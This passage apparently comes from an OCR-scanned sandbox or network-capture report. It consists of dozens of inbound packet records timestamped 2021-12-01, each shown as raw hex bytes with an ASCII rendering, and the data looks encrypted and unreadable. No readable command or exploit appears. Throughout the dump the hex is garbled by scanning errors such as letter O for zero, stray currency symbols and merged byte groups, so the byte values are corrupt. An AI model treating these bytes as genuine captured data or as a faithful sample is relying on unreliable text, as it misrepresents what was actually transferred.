68 cl 6a 61 50 20 73 16 76 1d 28 65 f7 65 de 41 62 25 b9 dd 4c cc 07 94 d5 13 e0 2d 57 7e db 43 Oe 9d 77 26 fc 8a 31 db
1c 33 ae 34 60 74 41 b6 1a f5 2f 1c Oc 00 8e f4 3f 08 d4 18 43 d9 5d c7 5 54 el 22 a4 21 e3 45 3b 75 6 90 db af 95 cf a0
fd 2e 77 9e 66 db 20 18 37 b9 11 b7 d3 c4
Data Ascii: 3"_LvV<$?fjZto&0BZ1>Y$C|/w5V+64XsjR5Td@F+q<Z_A8:5/+s9/:hjaP sv(eeAb%L-W~Cw&134tA/?C]T"!
E;uwf 7

2021-12-01 12:26:35 UTC 109 IN Data Raw: 5d e2 8f 1b 7a bf 17 fe 33 fd 56 6b 72 ea 7d f8 76 77 7f 2d 9d 28 ae ab ac 26 54 13 e8 01 d4 3d 99 30 a2 19 51
68 c7 4f 63 81 15 b3 14 af ad 43 b7 ba 00 f8 Oa fa 4d ea 24 40 e4 4e 10 b3 25 €3 26 a3 52 9e cd cd 06 9b b5 85 dd 73 af
3e ac 0b 98 db 56 cc 20 7d 7d Ob c1 05 12 c6 80 e8 c1 2b f4 2c 2d 45 6b d9 42 6d 4a 18 1f a6 2b 16 7e ed 11 05 f7 Oe f9
5e 51 57 76 48 ee ae 5e 1le 37 68 8¢ 0a 31 95 7b 92 Oe 39 b8 bd c5 e2 4e 57 12 8b ba b3 8b 70 61 70 49 89 6a b7 1c 48
6e 6857 93 1c 10 1a 17 4b ea 8f 21 1c 87 2f 05 d3 a9 d3 b2 70 f9 ce d3 ab 6b 9f 23 01 40 ba bf 55 9¢ c0 94 d2 b1 6d 49
0824 3a 9d el 4b 79 ee 07 75 08 78 64 d9 42 6a 05 41 ff b0 bb 05 4a c8 2b d2 16 el ae e5 eb 26 3d a4 6f da 83 99 ac f4
e2 b5 9c 3e ef ba cf 60 62 3c 67 c0 17 2a c4 ea 8c 70 25
Data Ascii: ]z3Vkrivw-(&T=0QhOcCM$@N%&Rs>V }}+,-EKBmJI+~"QWvHA7h1{9ONWpapljHnhWK!/pk#@UmI$:K
yuxdBjAJ+&=0>"b<g*p%

2021-12-01 12:26:35 UTC 111 IN Data Raw: ee 3f ac d1 1le 97 a7 12 af ce 8a 73 7f 42 21 37 7e 47 81 d2 68 07 ea fd ff d3 48 ed b7 36 fO 60 03 2e b4 c3 a6
12 b1 f1 7a 49 a9 5d af 5d 91 8f ab 3a a4 2b 30 36 34 f9 c5 2f ¢8 01 59 9f 43 73 ef b0 05 50 2a 43 Oc cb e2 d7 63 f0 49 2b
3b f1 23 af 5a 24 d5 06 95 cb 2b d8 14 f0 56 d3 4c 26 c1 18 e6 f4 80 e5 e3 8¢ 1b 99 3e 4c 6¢ 5d a4 38 d4 12 1c Oa 65 90
6 39 28 bb 0d 43 98 4b cc e4 50 8e e3 a6 21 €9 42 13 63 f4 90 dd 22 07 cf a0 e7 41 0f 9e 7c d1 2b 08 2a e6 72 b7 57 cf
b3 31 41 {7 bd df 94 8d 94 64 fb fa 5 2e bf fe 60 00 41 2e eb ce 44 c¢9 Ob 1d 41 49 d5 21 3d 28 dc d0 1c 1d ce a3 cd c7 25
cc d1db5b a5 13 2d 16 d3 87 08 f2 9d 6a 48 53 ac Oe 9f eb b5 e7 ¢4 3e 27 e2 8f 1b 98 77 44 f0 f3 6b 93 9d €6 57 7c 63
c2dlc2 16 65 ee 87 94 8e cada 20 a5 1b 17 ba
Data Ascii: ?sB!7~GhH6".z1]]:+064/Y CsP*Ccl+;#Z$+VL&>LI[]|8e9(CKP!Bc"A|+*rW1Ad. A.DAI!=(%][-jHS>'wDkW|ce

2021-12-01 12:26:35 UTC 112 IN Data Raw: 43 d9 44 6b dd 6a 79 4b 93 14 8e 7c Oc 7e eb 39 88 f4 Oe ff 3d 29 57 76 42 e3 ac 58 73 fd 6a 8c b9 2f 99 61 1f
61 cd b9 ee c1 f4 66 53 13 8b b0 bf 8c 58 70 6e 79 86 05 5b 1f 48 64 bd e0 92 0d Oe bf 2e 4e ea 88 3f 1c dc 84 00 d3 a5 af
ad 60 ff d0 d7 23 60 b7 31 13 cd bb 97 71 9d d3 90 ce bd 7d 37 cb 84 2b 99 ed 7c 72 {7 7c 95 1e 5 4d f1 56 6a 16 5b c6 {7
af 12 d0 f1 15 c¢7 3e 40 c1 9d el 00 26 9c 4c 48 af 8c ae fc €3 3c bc 17 be bb ¢5 b0 61 3b 65 a0 08 3f c4 ee €9 93 13 b3
ad a4 f6 2e 86 f3 b4 07 1b b7 52 f0 3b 4b 9d c1 7a 55 2b 15 81 7c el 8d 93 9c 0 bd 68 bc 31 22 3d 1a ba ea ef 99 a0 dd
6f 34 0a 19 d4 04 c6 14 95 fb 81 63 49 41 90 5b 14 b4 8d 65 36 57 9b 91 b2 28 96 fd df 24 ad da 7c bf 86 32 41 3e 10 5f
59 53 71 55 10 bc 85 75 81 54 4a 7c d9 f4 9b 82
Data Ascii: CDkjyK|~9=)WvBXsj/aafSXpny[Hd.N? # 1g}7+|r|MVj[>@&LH<a;e?.R;KzU+|h1"=04clA[e6W($|2A>_YSqUuTJ|

2021-12-01 12:26:35 UTC 113 IN Data Raw: 59 35 fd 80 fe c0 26 59 67 35 4c 58 45 b7 c6 da 78 €0 0d Oa 56 f3 56 de d5 18 45 f7 91 c5 5 5e 6 f8 cb f0 el
45 31 €9 0d 91 db 5a 42 c2 bf ae 3d 7c 9e 6d d0 3f 2b d2 88 38 a6 54 cc 86 78 97 ed bd dd 90 99 84 62 9e b2 c6 3d be 22
76 01 80 11 30 e7 5f c5 1a 10 48 23 04 2a 38 2e c5 f1 27 2e ce b2 cc 06 3¢ 34 fa f6 41 8e 20 30 Oc d8 8¢ 65 66 96 79 79
ad ad 22 94 e8 bc f0 87 3a 34 f3 8a 29 8b 7d 5f d1 f0 74 17 63 €7 7b 9a 5b ac 3e 15 e2 7f d1 92 8b a6 19 d3 3f ec cd 07 96
d2 11 12 7c 7 fe 3e 62 b8 b7 4d 3d ec 11 80 d3 10 d1 f4 7f 4d 46 14 77 5c €2 69 5d 90 70 32 c7 91 ae 9e c9 81 92 6e 24
03 ec 10 ed a4 61 32 db 6f 67 54 53 99 34 36 1d bd 4b f4 Ob 93 48 c5 5a 41 72 0d 30 3b 6b e6 6d 25 3 c6 be d9 0f cO {7
b3 b9 f5 5a b5 bl 41 d2 f0 e4 93 b9 9f e3 cb 4e 3e
Data Ascii: Y5&Yg5LXEXVVEAE1ZB=|m?+8Txb="v0_H#*8.".<4A Oefyy":4)}_tc{[>?|>bM=MFw\i]p2n$a20gTS46KHZAr
0;km%ZAN>

2021-12-01 12:26:35 UTC 114 IN Data Raw: 76 33 f2 c2 e8 2c a7 d1 0f 9c b8 2d 51 a8 c1 78 69 51 36 el ee 4f b5 ce 28 b8 el fd ee 36 57 fa 58 1f db 73 04
47 3b 79 a4 14 b9 5 1d d1 14 5f a9 38 4e 3 38 30 bb 39 28 34 5b 8b ce 30 d8 ec 5e 98 17 73 e3 c7 21 7f d5 b6 87 96 9
c4 69 e3 5¢c 27 5a 46 dd ae 7c 5a cf Oe 8d 17 Of e2 14 f0 56 c8 48 26 cd 68 03 e5 8b ef da 32 04 95 ca 61 52 45 98 e6 27
e8 e3 13 07 43 ff 39 33 df 07 63 66 40 eb e0 5d f9 f4 a7 28 f4 93 aa 50 f4 1e 6¢ 62 12 cf a0 ed 31 56 8d 77 db 31 12 33 94
ea b6 7b d5 8f a8 9c f2 bb 0f 29 e5 7e 63 94 ab ea 30 a6 29 67 1b 94 24 ec 18 72 e5 0d 3c ¢9 53 de 38 33 28 cb d1 2b 35
30 a2 eb 08 22 a5 07 db 47 a3 02 2a 79 19 85 65 7d 82 77 5b 58 ac 1f 94 f2 4b e6 7d a7 31 f4 1b ac 8f ac 4c c9 f6 71 3a
96 e6 46 98 7b 3c c1 c6 14 13 ee 83 80 a0 03 c1 33
Data Ascii: v3,-QxiQ60(6WXsG;y_8N809(4[0"s!i\'ZF|ZVH&h2aRE'C93cf@](PIb1Vw13{)~c0)g$r<S83(+50"G*ye}w[
XK} Lg:F{<3

2021-12-01 12:26:35 UTC 115 IN Data Raw: fe cb 47 d7 2c 2d 45 6b db 42 4d Oa c8 36 37 2b Oe 74 5a 6¢ e5 7 Oe fd 50 53 2¢ 35 49 ee aa 49 c6 20 be 01
9830 95 7a 75 4b 38 b8 ea ed e2 4e 41 01 bb bf b3 09 71 61 6b 8e 80 6a 53 08 5b 6b bc 3b 92 0d Oe 97 2d 4e f3 70 33 39
181 08 c9 b0 c5 b4 70 fa c7 05 2e 45 88 27 6d 88 bc bf 51 9f a8 dc c¢2 bf 7f 50 17 85 03 a6 f3 44 62 ff 00 64 1f e4 4e cl
bc 6a 3a 5f ed b7 77 05 00 54 10 c5 3e 47 a2 fc f2 05 2c a5 7c 51 51 87 91 f1 f2 39 8a Of ee ba c5 ac 63 39 67 ca 3a 21 cd
14 87 74 17 bb 8d 61 e4 e5 94 29 b2 d4 88 5¢ 53 dc 28 5a 96 ac 2d 53 29 6a b5 ab 9c cf fd 57 f6 a2 6b 75 2c fa 3b c5 b6
10292 b2 72 7e 3d 1b 11 ad 47 a8 de 93 f9 fO 2d 59 49 4c 4b d4 a3 af 48 ef 81 89 84 df a0 dO fc d9 08 af f3 76 b5 ae 4e
3e 78 17 77 73 58 77 85 72 fc 3c 75 8b f6 58 7f
Data Ascii: G,-EKBM67+ZIPS 511 0zuK8NAqakiS[k;-Np39p.E'mQPDbdNj:_wT>G,|QQ9c9g: ta)\S(Z-S)jWku,;r~=G-
YILKHVN>XxwsXwr<uX

2021-12-01 12:26:35 UTC 116 IN Data Raw: f7 43 37 c2 60 f0 e5 85 fO c5 2a 16 99 25 6d 61 56 5e 11 f1 11 08 26 15 4b e7 34 22 ¢5 15 5a 66 40 eb eb 56
9a 6b a5 21 e7 53 32 f2 76 90 db 5d 82 cd db a4 2f 77 9a f2 6¢ 08 2¢ 2d 89 1e ad 44 c8 e bf 92 e4 a6 27 b9 a6 94 74 96
d6 b6 2f b5 26 70 d0 8¢ 31 dd e3 6¢ c2 18 1a 52 5d f0 34 29 d6 db 6 39 34 ¢6 b5 57 20 d0 34 04 25 58 b7 00 22 16 da 8a
79 89 9c 4a 42 5b d8 1c 9f eb ae ed 4c b8 2a 7 84 16 87 61 al c1 d7 61 38 99 f1 81 80 67 dd d8 f9 10 60 ff 8c 9f aa f6 d9
0c 98 35 17 bf dc 09 00 3b 76 ca 7a 71 b2 bf 4b bb f4 1c 7e d3 2f dd 96 78 59 57 17 €8 66 fd 67 4f 39 61 24 d8 a6 44 60 c8
a7 98 84 4a ff e7 38 36 al Oe c4 46 70 6¢ 28 8e 9b 25 31 15 6¢ da 24 25 9a 7a b3 35 be 73 12 3a 37 24 f5 77 28 f9 33 a0
e4 a2 c3 a0 e8 bb fc 49 77 08 4c Ob e7 34 09 1f 98
Data Ascii: C7 *%maV &K4"Zf@Vk!S2v]/wl,-D't/&p1IR]4)94W 4%X"yJB[L*aa8g 5;vzqK~/xYWfgO9a$D I86Fpl(%61l
$%z5s:7$w(3IwL4

2021-12-01 12:26:35 UTC 118 IN Data Raw: d2 9a c7 95 65 4b 31 83 2b 34 f2 44 68 1a 13 61 Oe e3 58 dc 69 28 16 40 eb b8 53 13 fa d7 39 aa {7 46 ae ef f9
5d 3a 9a 4b 53 bc 83 bd ea f1 38 4a 2e ¢3 b9 dd a3 75 3¢ 76 de 26 c0 c5 c6 83 4c 3b a9 b4 7b ee e7 94 3f 5d d0 ba al 45
e3 3f58 85 d2 71 ac 28 42 b4 56 e3 a2 47 55 9d 74 62 66 23 96 09 c0 a9 fb fc 93 8b e5 3e 66 38 13 d6 02 a9 de 97 Ob b4
3270 d8 48 43 ¢8 12 90 ab 63 aa 83 86 dc d7 81 fa 57 bb ae 01 6f b1 a3 4e 61 3c 1f 6f af 49 1e bc 7f c4 8f 79 8¢ ff 53 56
cd 20 88 88 b8 c1 5d 25 11 8a d2 d5 89 50 27 c0 e5 db 94 1d a0 04 87 3b ad f5 Ob df 68 Oc 25 4e df ce a2 52 07 88 a5 ec
42 ff 373 79 2c b0 a8 d6 fd e9 e2 3 66 66 d9 f3 d1 9e 05 18 28 12 09 84 fd 67 4c b7 c5 f6 81 5a fb 08 9c c8 e6 f2 b2 04
77 46 56 e0 25 af 92 b9 19 a2 f8 20 fb 4b 62 1c
Data Ascii: eK1+4DhaXi(@S9F]:KS8J.u<v&L;{?]E?Xq(BVGUtbf#>f82pHCcWoNa<olySV ]%P';h%NRBsy,ff(gLZwFV% Kb
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 119 IN Data Raw: cb d3 22 0d ea a6 c7 1f 4a 40 fa da 41 ca 8b 2f 16 c1 8c 74 73 95 09 bf 52 ac 08 92 fa b2 f3 79 44 23 {7 93 Oc
15 71 5f c0 fa 78 37 8¢ f8 41 bb 46 ¢7 c0 ec bf 71 f0 95 94 b2 20 7b 20 af 39 17 bd ce 30 ea ae fa e7 6d fc b4 b7 5¢ 37 e0
03 6fcd 2a f2 al 7a 4f 40 b0 75 46 €9 73 5a b3 d3 23 cc 84 c7 5d ca ad ba 41 fe ff ed 1a d2 6e Of ce da 66 75 13 40 98 34
3a 1d ea 23 2509 92 51 ed 24 9e 65 1b ba 1b 29 f5 67 87 3 ed b5 dc €5 €9 78 a0 ba f6 59 4b e3 55 08 el 25 93 95 9f e3
cb 51 00 2c 3b 23 66 2f 1e db 7e bb 43 15 2a 52 41 a3 b1 3b 29 83 c2 8a 22 d6 7b 17 f8 2e 4a 28 94 8d 14 b0 cc 76 44 1c
0111 17 af 87 al 95 54 44 c¢7 15 c0 14 55 67 a2 13 4f 9c 2c b9 67 87 04 14 14 85 ad 42 a4 d8 75 db 1c ee c1 d5 24 6d e5
ec 01 9b 31 f7 32 b3 f1 9e cd cb 12 b3 71 86 dd
Data Ascii: "J@A/tsRyD#q_x7AFq { 90m\70*z0O @uFsZ#]Anfu@4:#%Q%$e)gxYKU%Q,;#f/~C*RA;)"{.J(vDTDUgO,gBu$m12q

2021-12-01 12:26:35 UTC 120 IN Data Raw: b6 2b c0 ad 85 b0 92 8b el 74 e0 ed 11 d6 02 8¢ f6 a0 fb 8b 61 4b 5b 5¢ 49 ea 9d 87 7d e4 5c 61 84 dd dc 95
d5 fe 09 b9 dd 54 91 ae 65 49 16 27 77 77 5b 48 9a 7d c4 85 63 06 dd 5b 76 cf 31 93 8a b8 04 5a 25 1d 8a 15 d7 89 50 c8
3af30d 9f 07 a5 11 a2 8d 5b de Ob ca 37 €9 27 f1 d5 dd 87 96 09 89 b4 fa 43 df e3 3f 7b 2c ba 24 ed 8 f0 07 el 56 71 c7
f4 fd ac 12 1d 2e 15 81 9b 03 66 61 aa a2 5b a9 f9 f1 03 8f f3 cb f7 a3 07 76 90 bf ce 26 bd 90 a0 0d 9b d5 3e 05 4c 58 94
47 b3 95 82 0 2d be 16 fa 25 50 72 bd 37 b9 d1 30 3d 5f db f6 dd €8 17 45 d3 1e 9d b6 Oe bb 81 c5 77 6a 5e 37 ba 78 5¢
b1 d0 7c bf fe d5 5¢ 3d 48 e7 8e 34 f2 65 05 3e ef 90 a6 12 b1 d5 9b 24 15 55 87 e2 9c f1 32 16 b9 30 27 2b 73 1d c6 2f c4
04 d2 b3 1b 62 €8 cb 75 44 02 ea 78 89 e8 ff fe
Data Ascii: +taK[\[\aTel'ww[H}c[v1Z%P:[7'C?{,$Vq.fa[v&>LXG-%Pr70=_Ewj*7x\|\=H4e>$U20'+s/buDx

2021-12-01 12:26:35 UTC 122 IN Data Raw: 90 fc 77 c8 bc a7 76 6b 01 ec 3c ff b2 00 b0 96 6e 61 3f 92 94 1c 20 08 67 22 36 02 8c 63 de 22 be 62 1a 29 3d
d7 f4 4a 31 f3 cb b0 cc d9 a7 da a0 b0 93 ba 62 20 50 1b f5 2d 04 81 88 e3 db 55 3e 2d e4 34 5c a8 52 2d 7f ba e7 17 0d
59 44 a4 8e 98 38 94 d6 60 Ob 39 71 2f 80 38 c7 2f 8b 84 06 b4 ee 76 71 15 1b 63 29 83 90 b1 32 6d 4d d6 01 d2 14 d2
67 a2 13 73 21 ef ba 6d 92 1b 86 1d 96 ba 43 a6 ec 7b ea f4 f9 61 e3 1c a0 e5 4e 10 a7 36 f0 31 9b 43 89 d2 e3 f8 9a 99
89 cc 63 a7 53 84 09 98 99 49 ef 33 40 7c 1a d6 71 ed c7 ac f4 bf b8 f4 2c 27 56 6f c0 51 7a 4a 82 09 b9 22 f0 7f c1 1a b7
e3 1f ed c8 42 52 69 42 fd b9 5e 0d 20 77 ad 4d 31 b9 70 7b 2c 3b b8 e8 d4 f2 51 63 01 9c ba a2 9c 6f 74 95 78 ac 4a 53
17 59 64 9c 81 fc el Oc 97 36 24 6d 8f 32 1f ec f8 8d
Data Ascii: wvk<na? g"6c"b)=J1b P-U>-4\R-YD89q/8/vqc)2mMgs!mC{aN61CcSI3@|q,"VoQzJ"BRiB" wM1p{,;Qcot
xJSYd6$m2

2021-12-01 12:26:35 UTC 123 IN Data Raw: Oa e7 48 fb 51 fc dd b7 a8 2e b0 a2 a8 04 f1 1c f4 52 0f Oa e2 d5 8e 79 e3 29 03 Oa 8f 0d 77 6e cO fa 4e 81 5e
e00c adc7 el f2a5126bcb 75 ce 26 bl 92 ac 08 a3 5 55 2d 48 4e 1f 51 a3 84 8f cc 14 af 3e 5f 0d 7e 7a 95 18 94 3a 34
2b 7d 5c dO df e2 39 bd c1 0f 9c 8f 3f aa a9 eb 5b 44 5a 21 31 57 b7 b3 d1 62 c4 cc ff ff 3b 59 fd a5 71 dd 67 03 2e c1 69
b4 7d ac fc 72 2c cb 50 8a 7f ab f1 38 30 b7 35 13 07 5b 9a cffl c2 03 55 a3 cd 71 e3 ce 6b 41 3d 77 0d 77 1d 28 73 f6 5a
fa 56 77 32 ba 41 5d 42 b0 aa 2a fa Ob fa f2 54 db 08 12 c7 77 26 f6 80 ef 98 39 1b 99 3f 60 7e 4c fe 10 dd 17 Oe Oc Oa 50
ee 39 22 d5 18 43 98 41 5a 5 54 el 4f a5 21 e3 4f 39 86 f7 9f db 5¢c 94 d5 a0 ed 2f 6¢ ae 75 db 7a 18 2¢ 89 11 b6 57 d4
9c a4 9d ed c3 38 b9 8a 8f 7d cb 9e fd 2c
Data Ascii: HQ.Ry)wnN ku&U-HNQ>_~z:4+)\9?[DZ!1Whb;Yqg.i}r,P805[UgkA=ww(SZVW2A]B*Tw&9? ~LP9"CAZTO!09V
luz, w8},

2021-12-01 12:26:35 UTC 124 IN Data Raw: a3 f4 67 66 Ob 4c 9f d6 ba cb a0 37 47 64 dO 7c af 3d f6 63 a0 1d 26 c8 ee ba 63 ab 13 8a 23 81 ad a9 b7 fb 64
fO Ob 8 5¢ e8 da 78 a9 4e 10 ba 27 9d 13 9b 52 9a b0 bf 07 9b b1 87 0d 3e af 3c ae 23 8c 9f 56 c6 08 57 7d Ob cb 16 6e
c7 80 fa c2 3f 0a 2d 3b bb 6a d1 44 41 67 91 1d 28 9c 73 fe ec 11 a2 f4 Oc 82 d2 50 57 72 60 b6 ac 5e 16 4a 17 8d b3 34
96 6d 0a 75 46 b9 ee c3 e0 35 c1 13 8b be 9b 66 72 61 61 7d 94 94 43 08 b6 6f 8f 50 bf 20 Oc 93 b2 fc 97 Oc 33 15 f0 95
07 a8 21 c1 b4 65 d7 82 f9 2f 63 €2 a4 17 cd b9 bb 43 9f a8 1b c2 bf 7f 5a 7a 04 2a 93 f6 6¢ 85 €3 13 6b 1la el b5 d8 54
95 17 5d e6 8c ea 10 d3 57 8c b8 ba 47 ae el e3 02 57 30 78 4a ab ae e5 f9 f4 25 c9 ac ee ba c1 b5 66 3e 1c 58 3e 3e cO
e8 fd dc 10 b3 a3 56 03 f4 91 23 al d4 18 15 2f 76 3b
Data Ascii: gfL7Gd|=c&c#d\XN'R><#VW}n?-;iDAg(sPWr' ~J4muF5fraa}CoP 3!e/cCZz*IKT]WGWOXJI%f>X>>VH#/v;

2021-12-01 12:26:35 UTC 125 IN Data Raw: Oc 35 7f 5a 9b 87 16 32 eb fd fb 26 d2 c8 8b 14 d1 7e 1c 04 dd 50 89 10 bb fb 58 7c 6b c6 ae 57 98 ed a2 1f 89
2a 1d 23 44 aa da 23 ea 3f 5d b4 1d 48 b3 al f8 51 2a 4d 65 13 c7 fa 69 ¢5 50 33 79 7d 2¢ 87 7d 49 cc 01 bf 9b 79 6d 04
4 7a c5 d3 03 ea 7c 00 e8 9f a4 d4 34 33 b4 36 60 78 66 c2 6e 44 16 1c 08 15 59 6e 1c Of d8 3e 5c 91 5e 9f ea 58 c9 Of
a6 21 e5 6f 59 f8 6e 91 db 58 8b ¢5 3a ¢8 03 7b b8 63 d1 3f 7d 33 82 3c 9a 55 c5 98 84 c1 85 35 d8 b8 8e 9a 69 Oe 88 d8
2593 3d 6¢ 15 f0 22 e6 cb 71 ¢9 0d 3d 30 32 64 2a 38 2c c5 d6 ae 00 e3 af el 06 29 d5 89 ¢5 5b 8d 3e 2d 16 cd ad Ob 09
04 67 48 57 b3 03 05 ce 98 €8 77 b4 2a d7 1b 1b 98 76 40 ca d3 46 2b 9d e0 7d fd 1d 5b c1 ea 19 7f e0 1b a5 8b 07 fe 3f
al 13 9e ba da 18 1a a0 d2 cc 78 71 b5 9d 32 48 6a 1d
Data Ascii: 5Z2&~PX|kW*#D#?]HQ*MeiP3y},}lymz|436 xfnDYn>\"X!0YnX:{c?}3<U5i%=I"q=02d*8,)[>-gHWwW*V@F+}[?
Xg2Hj

2021-12-01 12:26:35 UTC 127 IN Data Raw: e3 37 b9 c3 2e 7d 50 51 57 68 60 c3 ac 5e 1a 1d 02 f2 2a 31 95 7f 17 38 a3 9d ¢3 9 c4 51 77 32 07 b8 b3 8b
68 49 46 7b 80 6¢ 68 74 36 {7 85 57 97 12 39 0d 19 66 e4 a8 2d 22 d4 19 07 d3 a3 d9 9c 4c fd da fd 05 03 el bc 17 cd b9
a0 6d 07 f6 b7 cd 99 64 60 21 17 29 93 f2 5f 40 cc 11 61 19 df 21 a7 db 6a 16 55 1 99 37 37 fb d7 1d da 07 66 38 7 el
00 30 9c 54 48 af 80 97 91 8a b6 b5 2f eb a5 ff 2a 55 11 69 fd 20 04 e4 76 84 58 11 ae 8f 53 ec f6 97 03 c9 af Of a3 52 f4
25 63 Oe f2 46 5¢ Of 71 8d 5d 42 8b fc 57 eb 95 4f 64 29 fc 00 ae d7 62 fd 93 8f fa 42 a7 3e 3e d9 24 b6 €2 b7 5d 89 6b 58
56 41 6b ef a7 87 7b c4 eb fd 1f dc dc 93 e2 e4 96 9c f6 72 93 bl 58 63 91 14 77 77 46 59 7e 7d c4 83 5f e1 88 ¢2 77 ce
26 97 b6 0a 06 72 2b 3d bd Of 7 39 58 bb c9 e5 25
Data Ascii: 7.}PQWhA*18Qw2hIF{Iht6WOf-"Lmd'l)_@aljU77f80TH/*Ui vXSR%CF\G]BWOM)bB>>$]KXVAK{rXcwwFY~}

WE&I+=9X%

2021-12-01 12:26:35 UTC 128 IN Data Raw: 30 f5 3a 1e Oc Oc 7a 9e 47 bb d5 18 47 87 24 5d d0 79 ef 04 bb 44 ¢3 d1 3f 86 {7 8c f3 71 96 cf a6 c7 40 09 07
7d db 24 06 4a 13 31 9a 58 €3 81 ¢8 bf 61 a8 d9 b8 95 95 4a b9 af 5 28 9f 48 19 93 9e 3b ca f9 14 53 2e 3a 5¢ 6a €2 4c
18 82 de da 34 3e 6 8e c5 19 23 €0 95 a4 de a4 13 2b 09 a3 1d 40 5a 92 40 57 3b 8¢ al 9b eb b 8 5e 83 0a f5 95 1d b2
1c 21 59 fa 6b 2d 82 8f cd b6 4e cc e6 f5 74 40 50 85 80 a6 13 f0 0d ad 33 00 90 b4 66 9c ab fa e5 65 1b 29 92 71 39 d5
03 14 2 ff de 87 7 50 63 3a 49 5b fd 61 64 f5 Oe ba cd 8e eb 7f a3 37 95 44 44 d9 f2 7b cb 4b 0a ce da 70 6a 13 ae 99 34
3a 20 09 5a bc 08 93 46 d2 59 24 56 20 39 02 36 99 46 d6 6 cd al d7 e4 e9 {6 a2 ba fa 67 09 5e cf 09 e7 36 01 ff 05 c6
e7 4c 07 22 77 15 78 a6 21 db 62 92 cc 06 Ob 40 7f
Data Ascii: 0:zGG$]yD?q@}$J1Xal(H;S. \|L4>#+@Z@W; N YK-Nt@P3fe)q9Pc:I[ad7DD{Kpj4: ZFY$V 96Fg 6L "wxIb@

2021-12-01 12:26:35 UTC 129 IN Data Raw: d1 fc 6f 7a 30 71 7e a0 ad 12 f6 ac 3c c5 3e 5¢c 86 ¢8 €3 00 2a 9e fb 34 36 87 bd ff d4 be b4 2f ef 20 e0 9d 61
1a 47 4a 3f 3e c4 ca ff 5f 11 b3 bd 56 c3 f4 91 2f 89 53 e8 3b 53 f0 3e 78 06 d7 6b 52 b3 4b 9b 6¢ c7 a9 6e 57 f2 bd 42 1b
2e fa 2a d8 81 d6 fe 93 8d cf fc 43 82 12 d6 06 89 4d 97 fb 8b f1 7d 64 59 65 e2 36 87 7d ee al fc 81 dd dc 8a d5 f4 Oe b9
dd 56 37 dO fc 42 3e 12 57 e3 51 71 53 e5 el a8 64 ad d6 cf 76 ce 22 a8 Oe 97 23 5f 3b 33 8f 33 d7 8f 70 39 b7 6b Oc 99
10 91 95 b6 e2 aa 45 2e el 49 29 05 64 df ce a2 8e 89 8f b4 fa 46 d2 e6 da 79 2a 9a 2a b9 61 f1 1c f6 6a f6 db €0 d5 1e
333039 25 2c 0a 03 66 60 9e 39 48 81 5a e6 2b a8 d9 e3 f4 89 83 1e 21 56 cc 22 97 16 bc 19 b3 67 1f 28 5b 68 39 d7 b3
95 83 c4 a9 ad 3e 59 3f 78 55 97 1e ba fb b4 55
Data Ascii: 0z0g~<>\*46/ aGJ?>_V/S;S>xkRKINWB.*CM}dYe6}V7B>WQqSdv"'#_;33p9kE.l)dFy**aj309%,f 9HZ+!\V"g
([h9>Y?xUU
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2021-12-01 12:26:35 UTC 130 IN Data Raw: 3c Oe 23 6¢ cb 31 00 f6 Oe f9 72 78 5f 76 48 f1 b8 76 31 35 68 8a 99 b6 eb e2 09 Oe 3d 98 49 c7 e2 4e db 37
a6 a8 95 ab d7 61 6b 79 a0 55 4a le 48 71 8d 7f be Of Oe 91 16 cd 94 17 33 15 fO b7 ad d3 a3 c0 2e 44 d2 c8 dd 0f c1 9f
2516 ed f5 b7 55 9d cc 8a eb 92 79 58 07 ac a9 ed 6b 45 68 e5 33 c8 1f f5 4b 43 67 46 07 77 ce 09 ad 12 d6 f9 63 cd 3e
46 b5 cd cc 02 2¢ b2 53 ¢8 d1 1f be fb fO Of 1e 2f ef ba 5f 95 5d 2d 41 fb 95 3e c4 ea a6 05 19 b3 a7 64 c6 db 93 29 a5 fb
14 dc cb f1 3a 5¢ b4 7c¢ 6b 52 29 f4 93 50 fO af dc fc f2 bd 62 46 48 f2 2a c0 b7 d3 d1 91 8b e3 54 bf 65 8a d7 02 ad fe 3b
fb 8b 6b c2 6¢ 65 52 e4 85 2b 7d ee 81 a3 ef d5 dc 97 e4 f1 21 bb db 7a 9f 28 1b da 3f 16 73 57 fc 71 53 7f 5e a0 58 99 dO
7b db ce 22 88 a8 fc 2b 5f 25 04 ad 19 fa 8b 5a
Data Ascii: <#l1rx_vHv15h=IN7akyUJHq3.D%UyXkEh3KCgFwc>F,S/_]-A>d):\|kR)PbFH*Te;kleR+}1z(?sWqS X{"+_%Z

2021-12-01 12:26:35 UTC 131 IN Data Raw: ad 7e 4c a0 8a 8 3a Oe 2a 2a 9d f4 39 22 f4 82 49 98 41 d8 d6 7c cc 20 a4 27 c9 c3 45 1f f6 90 df 7c 5a cf a0
ed b4 52 b3 6e fd 00 d7 2c 89 14 97 ea cf 9e ae 80 d9 84 f4 ba 8a 83 48 12 d3 6¢ 2f b5 26 47 c5 9f 3b ce 7c 56 e4 19 31
72 83 fd 2b 38 08 05 d0 34 25 d1 81 ef 34 27 ca fd fO c1 db 8a 2e 16 cf a7 b5 77 9d 66 d2 76 81 1c b9 cb 65 e7 51 ab 07 f6
9e 1b 98 69 7c e8 d6 69 29 9b cc d1 ed fa c3 c0 ee 3d bl ee 81 80 3c 2d f5 32 89 13 d7 ba da 18 25 8e f1 el 7a 6e 96 9f
71 34 f3 1a 54 54 42 43 86 7f 4b 66 c0 64 59 fd fd 6b b6 62 05 ec 5¢ ef 60 c8 8d 9 62 4b ff f2 36 c3 8e Oc ce dc 45 e7 45
la9a 34 38 2a b4 24 2509 09 67 €0 27 98 53 de 36 24 29 d5 09 2e e2 cd be ef d9 ec d9 a0 bc d6 cb 1d b9 57 08 €3 12 ca
92 9f e3 50 67 Oc 2f 3c 15 a4 a3 21 db 5e 2c ea
Data Ascii: ~L:**9"IA| 'E|ZRn,HI/&G;|V1r+84%4'.wiveQili)=<-2%znq4TTBCKfdYkb\'bK6EE48*$%g'S6$). WPg/<!",

2021-12-01 12:26:35 UTC 132 IN Data Raw: 13 67 35 77 35 40 43 6b 12 71 1a a0 ad 12 4c fc 16 d4 18 66 5a e5 el 00 Oc b7 77 4a af 9b 95 d6 6 2f b2 05
6d c4 5c b1 70 38 47 2e 3f 3e ¢4 70 a3 75 00 95 87 8b ee f6 91 09 a9 df 96 a2 48 d8 17 5a 94 d1 41 dO 57 f7 b7 7d e5 a9
0a 57 f2 bd f8 43 04 eb Oc e0 5f fb fc 93 ab eb 70 3d 1b 09 fe 2f ab de 91 d1 09 15 c1 48 48 47 e2 52 87 7d ee 1b a6 ab cc
